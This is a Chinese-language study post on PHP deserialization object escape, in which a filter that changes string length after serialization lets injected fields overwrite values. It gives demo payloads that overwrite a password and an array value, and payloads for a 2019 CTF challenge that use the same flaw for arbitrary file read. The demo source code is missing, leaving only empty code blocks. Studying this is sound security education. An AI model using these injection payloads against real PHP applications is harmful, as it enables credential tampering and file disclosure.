php反序列化中的对象逃逸的学习
php中的几个特性
- PHP 在反序列化时,对类中不存在的属性也会进行反序列化
- PHP 在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的 - 对于类似这种
O:1:"A":2:{s:1:"a";s:3:"123";s:1:"b";s:9:"xianyu123";}s:1:"c";s:2:"yes";
也是能够正常反序列化的,即使s:2:"yes"
的长度不匹配也不影响。说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。
漏洞产生的原因
序列化的字符串在经过过滤函数不正确的处理而导致对象注入,因为先进行了序列化,再进行过滤,那么就有可能会产生此漏洞。
Demo演示
Demo1
1 |
|
这里的user
参数可控,我们先给出payload:xianyu123cccccccccccccccccccc";i:1;s:6:"123456";}
代码第4行,是把c
替换成两个b
,这样的话每有一个c
,就可以多出1个字符,然后我们的核心代码是";i:1;s:6:"123456";}
,长度为20,然后我们只需要构造20个c
即可。
这样的话就可以覆盖掉本来的$password = "mypass";
,替换成了我们自己想要的密码。
Demo2
这里模拟一个环境,就是如何覆盖掉$account['g']
1 |
|
先给出payload:
1 | ?account[u]=cccccccccccccccccccccccccccccccccccccccc&account[p]=";s:1:"m";s:9:"xianyu123";s:1:"h";s:4:"hhhh";s:1:"g";s:4:"kkkk";} |
首先我们先不要看过滤的代码
正常情况下的序列化结果为:
1 | a:3:{s:1:"u";s:40:"cccccccccccccccccccccccccccccccccccccccc";s:1:"p";s:65:"";s:1:"m";s:9:"xianyu123";s:1:"h";s:4:"hhhh";s:1:"g";s:4:"kkkk";}";s:1:"g";s:4:"g7bk";} |
经过过滤函数后的序列化结果为:
1 | a:3:{s:1:"u";s:40:"";s:1:"p";s:65:"";s:1:"m";s:9:"xianyu123";s:1:"h";s:4:"hhhh";s:1:"g";s:4:"kkkk";}";s:1:"g";s:4:"g7bk";} |
可以看到u
的长度虽然为40,但是已经没有了内容,所以反序列化会自动往后读取40位
会读取到上图的位置,然后结束。因为u
的序列化内容读取数据时需要往后填充40位,导致后面的p
的内容也发生了改变,吞掉了其双引号,所以此时后面的";s:1:"g";s:4:"g7bk";}
在反序列化时就会被当作非法字符忽略掉,导致我们可以控制$account['g']
的值。
实际中的案例分析
joomla3.0.0-3.4.6 对象注入导致的反序列化
CTF中的利用
安洵杯2019-easy_serialize_php
1 |
|
利用方法和上面的demo2类似,这里就不再重复了,原理就是利用过滤为空让反序列化会自动往后读取,然后可以对$_SESSION['img']
进行控制,进而可以任意文件读取
payload:
读取hint提示
1 | _SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"aaa";s:2:"no";}&function=show_image |
读取flag
1 | _SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"aaa";s:2:"no";}&function=show_image |